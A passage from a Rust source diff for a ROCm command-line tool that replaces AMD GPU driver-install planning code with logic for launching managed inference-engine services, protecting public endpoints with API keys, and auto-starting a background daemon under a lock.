&format!("{sudo}SUSEConnect -p PackageHub/{version_id}/x86_64"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}zypper refresh"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}zypper install -y kernel-default-devel"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!( - "{sudo}zypper --no-gpg-checks install -y {}", - amdgpu_install_sles_rpm_url(&repo_version, &package_release, &version_id) - ), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}zypper refresh"), - ), - driver_command( - DriverCommandPhase::Execute, - &format!("{sudo}zypper install -y amdgpu-dkms"), - ), - driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), - driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), - driver_command( - DriverCommandPhase::Verify, - "ls /dev/dri/renderD* >/dev/null", - ), - ]); + if let Some(parent) = record.engine_state_path.parent() { + fs::create_dir_all(parent) + .with_context(|| format!("failed to create {}", parent.display()))?; } - - DriverInstallPlan { - supported: true, - mutating: dkms, - policy: "linux_official_amd_dkms_wrapper".to_owned(), - os_id, - version_id, - codename, - repo_version, - reason: if dkms { - "Plan uses AMD's documented SLES DKMS flow and requires explicit approval before execution." - } else { - "DKMS was not requested; this is a non-mutating preflight plan." - } - .to_owned(), - preflight_checks: if dkms { - let mut checks = driver_root_preflight_checks(escalation); - checks.push("`zypper` package manager is available".to_owned()); - checks.push( - "`SUSEConnect` is available and the host is registered before approval".to_owned(), + fs::File::create(&record.log_path) + .with_context(|| format!("failed to create {}", record.log_path.display()))?; + let current_exe = managed_service_launcher_path() + .context("failed to resolve current rocm executable path")?; + let serve_args = builtin_engine_serve_http_args( + engine, + service_id, + &resolve.canonical_model_id, + host, + port, + device_policy, + gpu_indices, + runtime_id, + env_id, + engine_recipe, + &record.engine_state_path, + Some(&record.log_path), + )?; + let engine_envs_root = env_root_for_service(paths, engine, runtime_id, env_id)?; + // Hand the child the *path* to the endpoint key file (public bind only) via the + // environment. A path — not the secret value — is what the detached-spawn + // primitives accept as an env override, and it keeps the key off both the argv + // and the environment block. `serve()` wrote the file before spawning. + // Validity, not mere existence: the engine adapters resolve the key with + // `endpoint_api_key_from_file` and enforce nothing when it yields `None`, so + // an empty or malformed key file would otherwise satisfy the guard below and + // still produce an unauthenticated public listener. + let endpoint_key_file = endpoint_keys::endpoint_key_file_if_present(paths, service_id) + .filter(|path| rocm_engine_protocol::endpoint_api_key_from_file(path).is_some()); + // `serve()` already resolved and stored the key for a public bind, so the + // public-bind branch cannot fire on the fresh-launch path today. It is the + // shared choke point for managed spawns, so enforce the invariant here too + // rather than relying on every future caller having done so. + // + // `record.requires_api_key` is passed, not a literal, and the two arguments + // are deliberately different things: that field is the `--require-api-key` + // flag the caller passed, `endpoint_key_file` is whether a *usable* key is on + // disk. A present but empty or malformed key file is where they disagree, and + // is exactly what the `requires_api_key` branch exists to refuse. + // + // The field is threaded, never derived from the key file. Deriving it marked + // every public bind as having demanded auth — see the assignment above. + ensure_public_service_has_endpoint_key( + host, + endpoint_key_file.is_some(), + record.requires_api_key, + )?; + #[cfg(windows)] + let child_pid = { + let env_values = app_path_env_var_values(paths, engine_envs_root.as_deref()); + let mut env_refs = app_path_env_var_refs(&env_values); + if let Some(key_file) = endpoint_key_file.as_deref() { + env_refs.push((rocm_engine_protocol::ENDPOINT_API_KEY_FILE_ENV, key_file)); + } + rocm_core::spawn_detached_no_inherit(¤t_exe, &serve_args, &env_refs) + .context("failed to launch managed engine process")? + }; + #[cfg(not(windows))] + let child_pid = { + let mut command = managed_service_process_command(¤t_exe, &serve_args); + command.stdin(Stdio::null()); + attach_background_stdio(&mut command, Some(&record.log_path))?; + detach_background_command(&mut command); + apply_app_path_env(&mut command, paths); + if let Some(engine_envs_root) = engine_envs_root.as_deref() { + command.env("ROCM_CLI_ENGINE_ENVS_ROOT", engine_envs_root); + } + if let Some(key_file) = endpoint_key_file.as_deref() { + command.env(rocm_engine_protocol::ENDPOINT_API_KEY_FILE_ENV, key_file); + } + let mut child = command + .spawn() + .context("failed to launch managed engine process")?; + let child_pid = child.id(); + thread::sleep(Duration::from_millis(200)); + if let Some(status) = child + .try_wait() + .context("failed to check managed engine startup state")? + { + bail!( + "{}", + managed_engine_startup_failure_detail(status, &record.log_path) ); - checks - } else { - Vec::new() - }, - commands, - checks: vec![ - "dkms status amdgpu".to_owned(), - "/sys/module/amdgpu".to_owned(), - "/dev/kfd".to_owned(), - "/dev/dri/renderD*".to_owned(), - "amd-smi version if present".to_owned(), - "rocminfo if present".to_owned(), - ], - // Kernel module: not live until the machine comes back up. - reboot_required: true, - } -} - -fn rhel_kernel_prepare_commands(version_id: &str, escalation: PrivilegeEscalation) -> Vec { - let sudo = escalation.prefix(); - if version_id.starts_with("8.") { - vec![ - format!("{sudo}dnf install -y \"kernel-headers-$(uname -r)\""), - format!("{sudo}dnf install -y \"kernel-devel-$(uname -r)\""), - ] - } else { - vec![ - format!("{sudo}dnf install -y \"kernel-headers-$(uname -r)\""), - format!("{sudo}dnf install -y \"kernel-devel-$(uname -r)\""), - format!("{sudo}dnf install -y \"kernel-devel-matched-$(uname -r)\""), - ] - } -} - -fn amdgpu_install_rpm_url( - repo_version: &str, - package_release: &str, - version_id: &str, - distro: DnfDriverDistro, -) -> String { - let repo_family = match distro { - DnfDriverDistro::Rhel => "rhel", - DnfDriverDistro::Oracle | DnfDriverDistro::Rocky | DnfDriverDistro::Generic => "el", + } + child_pid }; - let repo_version_path = dnf_repo_version_path(version_id); - let el_major = linux_major_version(version_id); - format!( - "https://repo.radeon.com/amdgpu-install/{repo_version}/{repo_family}/{repo_version_path}/amdgpu-install-{repo_version}.{package_release}-1.el{el_major}.noarch.rpm" - ) -} + record.supervisor_pid = child_pid; + record.engine_pid = Some(child_pid); + // Capture the identity token while the child is alive, so a later stop + // verifies this exact process rather than a recycled PID. + record.supervisor_start_ticks = rocm_core::process_start_ticks(child_pid); + record.status = "running".to_owned(); + record.write()?; -fn amdgpu_install_sles_rpm_url( - repo_version: &str, - package_release: &str, - version_id: &str, -) -> String { - format!( - "https://repo.radeon.com/amdgpu-install/{repo_version}/sle/{version_id}/amdgpu-install-{repo_version}.{package_release}-1.noarch.rpm" - ) + Ok(ManagedSpawn::Spawned { + record: Box::new(record), + child_pid, + }) } -fn dnf_repo_version_path(version_id: &str) -> String { - // AMD serves EL 8 and 10 from a major-version path (el8/, el10/, rhel/10/), - // but EL 9 from the point-release path (el/9.7/, rhel/9.6/). Keying on the - // major version keeps this correct for RHEL, Oracle Linux, and ID_LIKE-matched - // rebuilds alike, without depending on the specific distro `ID`. - let major = linux_major_version(version_id); - match major { - "8" | "10" => major.to_owned(), - _ => version_id.to_owned(), - } -} +#[allow(clippy::too_many_arguments)] +fn start_managed_service( + engine: &str, + service_id: &str, + requested_model: &str, + resolve: &ResolveModelResponse, + host: &str, + port: u16, + device_policy: &DevicePolicy, + gpu_indices: &[u32], + runtime_id: Option<&str>, + env_id: Option<&str>, + engine_recipe: Option<&EngineRecipeHint>, + endpoint_api_key: Option<&str>, + launch_lock: rocm_core::FileLock, + require_api_key: bool, + on_wait_tick: &mut dyn FnMut(Duration), +) -> Result { + let paths = AppPaths::discover()?; + let (mut record, child_pid) = match spawn_managed_engine_child( + &paths, + engine, + service_id, + requested_model, + resolve, + host, + port, + device_policy, + gpu_indices, + runtime_id, + env_id, + engine_recipe, + require_api_key, + )? { + ManagedSpawn::AlreadyRunning(report) => return Ok(report), + ManagedSpawn::Spawned { record, child_pid } => (*record, child_pid), + }; + // The claiming service record is now persisted, so the selected GPU is + // visible to any concurrent auto-selection. Release the launch lock before + // the readiness wait below, which can block for many seconds — holding it + // that long would needlessly serialize unrelated serves. + drop(launch_lock); -fn linux_major_version(version_id: &str) -> &str { - version_id.split('.').next().unwrap_or(version_id) -} + #[cfg(windows)] + thread::sleep(Duration::from_millis(200)); -/// Preconditions about reaching root for a driver plan. -/// -/// These differ by escalation: a plan that will prefix `sudo` additionally -/// depends on a `sudo` binary being installed, while a plan built as root does -/// not. Listing that precondition when already root would state a requirement -/// the plan is not relying on — which is exactly the contradiction that made -/// the unconditional prefix confusing to debug. -fn driver_root_preflight_checks(escalation: PrivilegeEscalation) -> Vec { - let mut checks = - vec!["root access: run as root, or ensure `sudo -v` succeeds before approval".to_owned()]; - if escalation.needs_sudo_binary() { - checks.push("`sudo` command is available when not running as root".to_owned()); - } - checks -} - -fn driver_command(phase: DriverCommandPhase, command: &str) -> DriverPlanCommand { - DriverPlanCommand { - phase, - command: command.to_owned(), - } -} - -/// Resolve a `${VAR:-default}` shell parameter-expansion template to its -/// effective value: the value of `VAR` when it is set and non-empty (matching -/// the shell `:-` semantics), otherwise the literal default. This is resolved -/// once at plan-build time so the concrete value is baked into both the -/// human-readable summary and the commands the plan runs, rather than leaking an -/// unexpanded `${...}` placeholder into user-facing output or depending on the -/// runtime shell — which, for the single-quoted apt `sources.list` line, would -/// never expand it at all. -/// -/// Only a single, flat `${VAR:-default}` template is recognized. Anything else — -/// a bare `${VAR}`, a `${VAR:=x}`/`${VAR-x}` form, or a nested default such as -/// `${A:-${B:-x}}` whose default itself contains `${` — is returned unchanged, so -/// an unresolvable shape degrades to its literal input rather than to a -/// half-resolved string. -fn resolve_shell_default_template(expr: &str) -> String { - let Some(inner) = expr.strip_prefix("${").and_then(|s| s.strip_suffix('}')) else { - return expr.to_owned(); - }; - let Some((var, default)) = inner.split_once(":-") else { - return expr.to_owned(); - }; - if default.contains("${") { - // Nested or embedded templates are beyond this flat matcher; return the - // input untouched rather than emitting a partially resolved string. - return expr.to_owned(); + let readiness = wait_for_service_http_ready_with_progress( + engine, + host, + port, + &resolve.canonical_model_id, + endpoint_api_key, + Duration::from_secs(45), + on_wait_tick, + ); + let launch_status = status_for_readiness(readiness); + record.status = launch_status.to_owned(); + if readiness == EndpointReadiness::Serving { + // Latch the verification the wait just performed, so the readiness checks + // behind `services list` and chat read it instead of re-probing. + record.inference_verified_at_unix_ms = Some(rocm_core::unix_time_millis() as u64); } - std::env::var(var) - .ok() - .filter(|value| !value.is_empty()) - .unwrap_or_else(|| default.to_owned()) + record.write()?; + let endpoint_url = format!("{}/v1", format_http_base_url(host, port)); + record_cli_audit_event( + &paths, + "service", + "managed_service_launch", + "info", + format!( + "launched managed service engine={} model={} endpoint={} readiness={}", + engine, resolve.canonical_model_id, endpoint_url, launch_status + ), + Some(service_id), + ); + Ok(ManagedLaunchReport { + service_id: service_id.to_owned(), + endpoint_url, + status: launch_status.to_owned(), + already_running: false, + child_pid: Some(child_pid), + log_path: Some(record.log_path), + manifest_path: Some(record.manifest_path), + }) } -fn render_driver_install_plan(plan: &DriverInstallPlan, yes: bool, dry_run: bool) -> String { - let mut output = String::new(); - let _ = writeln!(output, "driver install plan"); - let _ = writeln!(output, " policy: {}", plan.policy); - let _ = writeln!(output, " supported: {}", plan.supported); - let _ = writeln!(output, " mutating: {}", plan.mutating); - let _ = writeln!( - output, - " approval: {}", - driver_plan_approval_label(plan, yes, dry_run) - ); - let _ = writeln!(output, " dry_run: {dry_run}"); - let _ = writeln!(output, " os_id: {}", empty_as_unknown(&plan.os_id)); - let _ = writeln!( - output, - " version_id: {}", - empty_as_unknown(&plan.version_id) - ); - let _ = writeln!(output, " codename: {}", empty_as_unknown(&plan.codename)); - let _ = writeln!(output, " repo_version: {}", plan.repo_version); - let _ = writeln!(output, " reason: {}", plan.reason); - if !plan.preflight_checks.is_empty() { - let _ = writeln!(output, " preflight_checks:"); - for check in &plan.preflight_checks { - let _ = writeln!(output, " {check}"); - } - } - let execution_commands = plan - .commands - .iter() - .filter(|command| { - matches!( - command.phase, - DriverCommandPhase::Prepare | DriverCommandPhase::Execute - ) - }) - .collect::>(); - if execution_commands.is_empty() { - let _ = writeln!(output, " execution_commands: "); - } else { - let _ = writeln!(output, " execution_commands:"); - for command in execution_commands { - let _ = writeln!(output, " {:?}: {}", command.phase, command.command); - } - } - let verification_commands = plan - .commands - .iter() - .filter(|command| command.phase == DriverCommandPhase::Verify) - .collect::>(); - // A plan that changes nothing kernel-side is live as soon as it finishes, so - // labelling its checks "post_reboot" would tell the user to reboot for - // nothing — and would contradict the `reboot_required: false` this same plan - // reports after executing. - let checks_label = if plan.reboot_required { - "post_reboot" - } else { - "post_install" - }; - if !verification_commands.is_empty() { - let _ = writeln!(output, " {checks_label}_check_commands:"); - for command in verification_commands { - let _ = writeln!(output, " {}", command.command); - } +/// Reproduce the original plain, line-by-line managed-launch output. Used for +/// non-interactive output (piped, CI, the chat assistant's `serve --managed`), +/// where the animated summary is inappropriate. The interactive path renders the +/// summary table via [`serve_summary`] instead. +fn print_managed_launch_plain(report: &ManagedLaunchReport, endpoint_api_key: Option<&str>) { + if report.already_running { + println!("managed service already running"); + println!(" service_id: {}", report.service_id); + println!(" endpoint: {}", report.endpoint_url); + println!(" status: {}", report.status); + println!(" note: existing service detected; no second process spawned"); + return; } - if !plan.checks.is_empty() { - let _ = writeln!(output, " {checks_label}_checks:"); - for check in &plan.checks { - let _ = writeln!(output, " {check}"); - } + println!("managed service launched"); + println!(" service_id: {}", report.service_id); + if let Some(child_pid) = report.child_pid { + println!(" process_pid: {child_pid}"); } - if plan.supported && plan.mutating && !yes && !dry_run { - let _ = writeln!( - output, - " action: rerun with --yes after reviewing this plan, or approve from the TUI" - ); - } else if plan.supported && plan.mutating && dry_run { - let _ = writeln!( - output, - " action: dry run only; no driver commands executed" - ); - } else if plan.supported && !plan.mutating { - let _ = writeln!( - output, - " action: no driver commands will be executed; add --dkms to plan a native DKMS driver install" + println!(" endpoint: {}", report.endpoint_url); + if let Some(key) = endpoint_api_key { + print!( + "{}", + render_endpoint_client_config(&report.endpoint_url, key) ); - } else if !plan.supported { - let _ = writeln!(output, " action: no driver commands will be executed"); } - output -} - -const fn driver_plan_approval_label( - plan: &DriverInstallPlan, - yes: bool, - dry_run: bool, -) -> &'static str { - if !plan.supported || !plan.mutating || dry_run { - "not required" - } else if yes { - "approved" - } else { - "required" + if let Some(log_path) = report.log_path.as_deref() { + println!(" log_path: {}", log_path.display()); } -} - -const fn empty_as_unknown(value: &str) -> &str { - if value.is_empty() { "" } else { value } -} - -fn parse_os_release_field(text: &str, key: &str) -> Option { - for line in text.lines() { - let Some((name, raw_value)) = line.split_once('=') else { - continue; - }; - if name != key { - continue; - } - return Some(raw_value.trim().trim_matches('"').to_owned()); + if let Some(manifest_path) = report.manifest_path.as_deref() { + println!(" manifest_path: {}", manifest_path.display()); } - None + println!(" readiness: {}", report.status); } -fn codename_for_version(os_id: &str, version_id: &str) -> Option<&'static str> { - match (os_id, version_id) { - ("ubuntu", "22.04") => Some("jammy"), - ("ubuntu", "24.04") => Some("noble"), - ("debian", "12") => Some("jammy"), - ("debian", "13") => Some("noble"), - _ => None, - } +/// Render the one-time secure client configuration for a public, authenticated +/// endpoint. This is the *intended* channel for delivering the key to the user +/// (unlike logs/status, which must never contain it) — it prints the key once at +/// launch alongside a ready-to-use example. Callers only invoke this for a +/// non-loopback bind that generated/received a key. +fn render_endpoint_client_config(endpoint_url: &str, api_key: &str) -> String { + let mut out = String::new(); + let _ = writeln!(out, " api key: {api_key}"); + let _ = writeln!( + out, + " note: this key is shown only now — clients must send `Authorization: Bearer `" + ); + let _ = writeln!( + out, + " example: curl -H \"Authorization: Bearer {api_key}\" {endpoint_url}/models" + ); + out } -fn read_os_release() -> Result { - fs::read_to_string("/etc/os-release").context("failed to read /etc/os-release") +/// The "should we spawn?" decision for [`ensure_background_helper_running`], +/// factored out so it is testable hermetically (no spawn side effect). Returns +/// `true` when the file-based runtime state says the daemon is `running` AND its +/// recorded `daemon_pid` is a live process — i.e. a second spawn must be guarded. +/// A missing state file, `running=false`, or a dead/zero pid returns `false`. +pub(crate) fn background_helper_already_running(paths: &AppPaths) -> Result { + Ok(AutomationRuntimeState::load(paths)? + .is_some_and(|state| state.running && rocm_core::process_is_running(state.daemon_pid))) } -fn run_driver_shell_command(command: &str) -> Result<()> { - run_shell_command_with_stdin(command, Stdio::null()) +/// Shared daemon-lifecycle entrypoint: ensures the background automation helper +/// (`rocm daemon`) is running, spawning it detached if not. Liveness is read from +/// the file-based automation runtime state. Intentionally `pub(crate)` — reused by +/// both the `serve --managed` path and `automations enable`. Only the spawn result +/// itself (`command.spawn()` / `spawn_detached_no_inherit`) is logged rather than +/// propagated; setup errors (path discovery, stdio attach) still return `Err`. +pub(crate) fn ensure_background_helper_running() -> Result<()> { + ensure_background_helper_running_quiet(false) } -/// Run a hardcoded shell command, wiring its stdin to `stdin`. -/// -/// Most install commands run with a null stdin, but privileged commands that may -/// trigger an interactive `sudo` password prompt (such as the OpenMPI install -/// approved with `--yes`) must inherit the terminal so the user can respond. -fn run_shell_command_with_stdin(command: &str, stdin: Stdio) -> Result<()> { - let (program, args) = shell_command_for_host(command); - let status = ProcessCommand::new(program) - .args(args) - .stdin(stdin) - .status() - .with_context(|| format!("failed to launch `{command}`"))?; - if !status.success() { - bail!("`{command}` exited with {status}"); +/// As [`ensure_background_helper_running`], but suppresses the stdout status line +/// when `quiet` is set. The interactive `rocm serve` summary path uses `quiet` so +/// the daemon-spawn note does not appear above the deployment summary table. +pub(crate) fn ensure_background_helper_running_quiet(quiet: bool) -> Result<()> { + let paths = AppPaths::discover()?; + if background_helper_already_running(&paths)? { + return Ok(()); } - Ok(()) -} -/// Run a command given as an argv vector directly, without going through a shell. -/// -/// Used for [`run_system_package_install_plan`], whose commands are modeled as -/// argv vectors so no shell quoting or `sudo`-prefix string handling is needed. -fn run_argv_with_stdin(argv: &[String], stdin: Stdio) -> Result<()> { - let (program, args) = argv - .split_first() - .context("install command has no program to run")?; - let status = ProcessCommand::new(program) - .args(args) - .stdin(stdin) - .status() - .with_context(|| format!("failed to launch `{}`", argv.join(" ")))?; - if !status.success() { - bail!("`{}` exited with {status}", argv.join(" ")); + // The check above and the spawn below are a TOCTOU window: two concurrent + // callers (e.g. two `rocm serve`) can both read "not running" and each spawn + // a daemon. Serialize the decision on a lock file and re-check under it — the + // first holder spawns, later holders observe the now-running daemon and + // return without spawning. The unlocked pre-check above keeps the common + // already-running case lock-free. + let _autostart_lock = rocm_core::FileLock::acquire(paths.automation_autostart_lock_path())?; + if background_helper_already_running(&paths)? { + return Ok(()); } - Ok(()) -} -fn driver_install_state_path(paths: &AppPaths) -> PathBuf { - paths.data_dir.join("driver").join("state.json") -} - -fn write_driver_install_state(paths: &AppPaths, state: &DriverInstallState) -> Result<()> { - let path = driver_install_state_path(paths); - let parent = path.parent().context("driver state path has no parent")?; - fs::create_dir_all(parent)?; - fs::write(&path, serde_json::to_vec_pretty(state)?)?; - Ok(()) -} - -fn read_driver_install_state(paths: &AppPaths) -> Result> { - let path = driver_install_state_path(paths); - if !path.is_file() { - return Ok(None); + // The lock alone does not close the window: the spawned daemon does not + // publish its `running` runtime state until well after `spawn()` (clap parse, + // runtime build, config load, banner flush). A second caller that acquires + // this lock during that gap still sees "not running" and would spawn a + // duplicate. Bridge the gap with a short-lived claim recording the child PID + // and spawn time: a holder that finds a live, recent claim defers instead. + let claim_path = paths.automation_autostart_claim_path(); + if autostart_spawn_in_flight( + read_autostart_claim(&claim_path), + now_unix_millis(), + AUTOSTART_CLAIM_TTL_MS, + rocm_core::process_is_running, + ) { + return Ok(()); } - let bytes = fs::read(&path).with_context(|| format!("failed to read {}", path.display()))?; - let state = serde_json::from_slice(&bytes) - .with_context(|| format!("failed to parse {}", path.display()))?; - Ok(Some(state)) -} - -fn current_boot_id() -> Option { - fs::read_to_string("/proc/sys/kernel/random/boot_id") - .ok() - .map(|value| value.trim().to_owned()) - .filter(|value| !value.is_empty()) -} -fn driver_reboot_observed(executed_boot_id: Option<&str>) -> bool { - let Some(executed_boot_id) = executed_boot_id else { - return false; + let exe = managed_service_launcher_path() + .context("failed to resolve current rocm executable path")?; + let args = vec!["daemon".to_owned()]; + #[cfg(windows)] + let spawn_result = { + let env_values = app_path_env_var_values(&paths, None); + let env_refs = app_path_env_var_refs(&env_values); + rocm_core::spawn_detached_no_inherit(&exe, &args, &env_refs) }; - current_boot_id() - .as_deref() - .is_some_and(|current| current != executed_boot_id) -} - -fn engines(command: EnginesCommand) -> Result<()> { - match command { - EnginesCommand::List => { - print!("{}", render_engine_inventory_text()); - Ok(()) - } - EnginesCommand::Install { - engine, - runtime_id, - python_version, - reinstall, - yes, - } => { - let paths = AppPaths::discover()?; - let mut config = RocmCliConfig::load(&paths)?; - let runtime_id = - resolve_engine_install_runtime_id(&paths, &config, &engine, runtime_id)?; - let env_root = env_root_for_engine_install(&paths, &config, &engine, &runtime_id)?; - if engine == "vllm" { - ensure_openmpi_for_vllm(yes)?; - ensure_libatomic_for_torch(yes); - ensure_libnuma_for_torch(yes); - } - let response = engine_request_with_env_root::<_, InstallResponse>( - Some(&paths), - &engine, - EngineMethod::Install, - &InstallRequest { - runtime_id: runtime_id.clone(), - python_version, - reinstall, - env_root: env_root.clone(), + #[cfg(not(windows))] + let spawn_result = { + let mut command = managed_service_process_command(&exe, &args); + command.stdin(Stdio::null()); + attach_background_stdio(&mut command, None)?; + detach_background_command(&mut command); + apply_app_path_env(&mut command, &paths); + command.spawn().map(|child| child.id()) + }; + match spawn_result { + Ok(daemon_pid) => { + // Record the claim before returning (and thus releasing the lock) so a + // concurrent holder in the spawn→publish window defers. Best-effort: a + // failed write only reopens the original, already-tolerated race. + let _ = write_autostart_claim( + &claim_path, + AutostartClaim { + daemon_pid, + spawned_at_ms: now_unix_millis(), }, - env_root.as_deref(), - )?; - println!("engine install"); - println!(" engine: {engine}"); - println!(" runtime_id: {runtime_id}"); - println!(" reinstall: {reinstall}"); - println!(" env_id: {}", response.env_id); - println!(" env_path: {}", response.env_path); - for warning in &response.warnings { - println!(" warning: {warning}"); - } - if response.managed_env == Some(false) { - println!(" note: external runtime"); - } else { - let engine_config = config.engine_config_mut(&engine); - engine_config.last_installed_runtime_id = Some(runtime_id.clone()); - engine_config.last_installed_env_id = Some(response.env_id.clone()); - let mut seeded_preference = false; - if engine_config.preferred_runtime_id.is_none() - && engine_config.preferred_env_id.is_none() - { - engine_config.preferred_env_id = Some(response.env_id.clone()); - seeded_preference = true; - } - config.save(&paths)?; - let _ = seeded_preference; - } - // Settle last, matching `maybe_auto_install_sdk_preferred_engine`. The - // check blocks then print under the `engine:`/`runtime_id:`/`env_id:` - // lines they describe instead of above them, and the config bookkeeping - // above still lands when settling fails — the engine did install; it is - // the runtime it left behind that is being reported on. - settle_engine_install(&paths, &engine, &runtime_id, &response)?; - record_cli_audit_event( - &paths, - "engine", - "engine_install", - "info", - format!( - "installed engine={} runtime_id={} env_id={} reinstall={}", - engine, runtime_id, response.env_id, reinstall - ), - None, ); - Ok(()) + if !quiet { + println!(" helper: started background automation daemon"); + } } - EnginesCommand::Shell { - engine, - runtime_id, - env_id, - shell, - } => engine_shell( - &engine, - runtime_id.as_deref(), - env_id.as_deref(), - shell.as_deref(), - ), - } -} - -fn resolve_engine_install_runtime_id( - paths: &AppPaths, - config: &RocmCliConfig, - engine: &str, - runtime_id: Option, -) -> Result { - if engine_manages_own_runtime(engine) { - return Ok(runtime_id.unwrap_or_else(|| managed_engine_runtime_id(engine))); + Err(error) if !quiet => { + println!(" helper: could not start background automation daemon: {error}"); + } + Err(_) => {} } - let Some(selector) = runtime_id - .or_else(|| config.active_runtime_key.clone()) - .or_else(|| config.default_runtime_id.clone()) - else { - bail!( - "no active ROCm runtime is configured; run `rocm runtimes list` and `rocm runtimes activate `, or pass --runtime-id" - ); - }; - resolve_runtime_selector_to_exact_key(paths, &selector, "engine install runtime selection") + Ok(()) } -fn engine_manages_own_runtime(engine: &str) -> bool { - engine == "lemonade" -} +/// How long an autostart claim is honoured before it is treated as stale even if +/// its recorded PID is still alive. Comfortably longer than a cold daemon boot +/// (clap parse → runtime build → config load → state publish) yet short enough +/// that a crashed spawn cannot suppress autostart for long. +const AUTOSTART_CLAIM_TTL_MS: u128 = 30_000; -fn env_root_for_runtime( - paths: &AppPaths, - engine: &str, - runtime_id: &str, -) -> Result> { - if engine_manages_own_runtime(engine) { - return Ok(None); - } - let manifests = therock::load_runtime_manifests(paths)?; - let manifest = select_runtime_manifest(&manifests, runtime_id)?; - Ok(Some(manifest.install_root.join("engines"))) +/// A just-spawned daemon's autostart claim: the child PID and the wall-clock time +/// (milliseconds since the Unix epoch) the spawn was recorded. It lets a +/// concurrent autostart holder distinguish a live, in-flight spawn from a stale +/// leftover. Serialized as a single `" "` line — no dependency and +/// trivially forward-compatible. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +struct AutostartClaim { + daemon_pid: u32, + spawned_at_ms: u128, } -fn env_root_for_engine_install( - paths: &AppPaths, - config: &RocmCliConfig, - engine: &str, - runtime_id: &str, -) -> Result> { - if engine_manages_own_runtime(engine) { - return env_root_for_self_managed_engine(paths, config); - } - env_root_for_runtime(paths, engine, runtime_id) +/// Milliseconds since the Unix epoch, or `0` if the clock is before the epoch +/// (which only makes a fresh claim look old — safe, it just permits a respawn). +fn now_unix_millis() -> u128 { + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map_or(0, |elapsed| elapsed.as_millis()) } -fn env_root_for_self_managed_engine( - paths: &AppPaths, - config: &RocmCliConfig, -) -> Result> { - recover_setup_runtime_registration(paths, config)?; - let manifests = therock::load_runtime_manifests(paths)?; - for selector in [ - config.active_runtime_key.as_deref(), - config.default_runtime_id.as_deref(), - ] - .into_iter() - .flatten() - { - if let Some(manifest) = runtime_manifest_for_selector(&manifests, selector) { - return Ok(Some(manifest.install_root.join("engines"))); - } - } - let ready = manifests - .iter() - .filter(|manifest| validate_runtime_manifest_for_activation(manifest).is_ok()) - .collect::>(); - Ok(match ready.as_slice() { - [manifest] => Some(manifest.install_root.join("engines")), - _ => None, +/// Read an autostart claim, returning `None` when the file is absent or +/// unparseable (either is treated as "no claim", so a respawn is permitted). +fn read_autostart_claim(path: &Path) -> Option { + let text = std::fs::read_to_string(path).ok()?; + let mut parts = text.split_whitespace(); + let daemon_pid = parts.next()?.parse().ok()?; + let spawned_at_ms = parts.next()?.parse().ok()?; + Some(AutostartClaim { + daemon_pid, + spawned_at_ms, }) } -fn runtime_manifest_for_selector<'a>( - manifests: &'a [therock::InstalledRuntimeManifest], - selector: &str, -) -> Option<&'a therock::InstalledRuntimeManifest> { - manifests - .iter() - .find(|manifest| manifest.runtime_key.eq_ignore_ascii_case(selector)) - .or_else(|| { - let mut matches = manifests - .iter() - .filter(|manifest| manifest.runtime_id.eq_ignore_ascii_case(selector)); - let first = matches.next()?; - if matches.next().is_none() { - Some(first) - } else { - None - } - }) +/// Write an autostart claim as `" "`. Best-effort at the call site. +fn write_autostart_claim(path: &Path, claim: AutostartClaim) -> std::io::Result<()> { + std::fs::write( + path, + format!("{} {}", claim.daemon_pid, claim.spawned_at_ms), + ) } -/// The `runtime_key` of the runtime whose install root contains `python`. -fn runtime_key_for_python(paths: &AppPaths, python: &Path) -> Option { - let manifests = therock::load_runtime_manifests(paths).ok()?; - runtime_key_owning_python(&manifests, python).map(str::to_owned) +/// Whether an existing autostart `claim` means a daemon spawn is still in flight, +/// so the current lock holder should defer rather than spawn a duplicate. A claim +/// counts as in-flight only while its child PID is alive *and* it is younger than +/// `ttl_ms` — the TTL bounds how long a crashed spawn (or a PID later reused by an +/// unrelated process) can suppress autostart. `pid_alive` is injected so the +/// decision is unit-testable without a live process. +fn autostart_spawn_in_flight( + claim: Option, + now_ms: u128, + ttl_ms: u128, + pid_alive: impl Fn(u32) -> bool, +) -> bool { + claim.is_some_and(|claim| { + now_ms.saturating_sub(claim.spawned_at_ms) < ttl_ms && pid_alive(claim.daemon_pid) + }) } -/// Which runtime owns an interpreter, decided by install root. -/// -/// Split from the registry read so the decision can be tested without a -/// registry on disk, matching `sdk_torch_build_from_manifest`. -/// -/// `runtime_id` cannot answer this: it is shared by every side-by-side install -/// of one channel and family, which is exactly the situation an engine install -/// has to be attributed in. An install root contains one runtime by -/// construction, so the interpreter's path settles it. -/// -/// Both sides are compared verbatim *and* canonicalized. The CLI writes -/// `install_root` canonicalized while an engine adapter reports back whatever -/// path it was handed, and comparing a single form makes ownership fail -/// silently on a symlinked runtimes directory. Roots can nest, so the longest -/// containing root wins. -fn runtime_key_owning_python<'a>( - manifests: &'a [therock::InstalledRuntimeManifest], - python: &Path, -) -> Option<&'a str> { - fn both_forms(path: &Path) -> Vec { - let verbatim = path.to_path_buf(); - match path.canonicalize() { - Ok(resolved) if resolved != verbatim => vec![verbatim, resolved], - _ => vec![verbatim], - } - } - - let pythons = both_forms(python); - manifests - .iter() - .filter(|manifest| { - both_forms(&manifest.install_root) - .iter() - .any(|root| pythons.iter().any(|python| python.starts_with(root))) - }) - .max_by_key(|manifest| manifest.install_root.as_os_str().len()) - .map(|manifest| manifest.runtime_key.as_str()) +/// What ended an attached (`--verbose`/`--foreground`) streaming session. Kept +/// as a plain enum, separate from any terminal I/O, so the follow-up action +/// (detach note vs. stop the server) is unit-testable without a TTY. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum AttachOutcome { + /// Ctrl-D: leave the server running and hand the terminal back. + Detach, + /// Ctrl-C: stop the server, then hand the terminal back. + Stop, + /// The engine process exited on its own while we were streaming its log. + ServerExited, } -fn env_root_for_service( - paths: &AppPaths, +/// Attached serve path for `--verbose`/`--foreground`: spawn the engine as a +/// detached managed child (the same child the background path spawns) and stream +/// its log in this terminal. Unlike the old in-process foreground, the server +/// survives the session — Ctrl-D detaches and leaves it running, Ctrl-C stops it. +#[allow(clippy::too_many_arguments)] +fn run_attached_service( engine: &str, + service_id: &str, 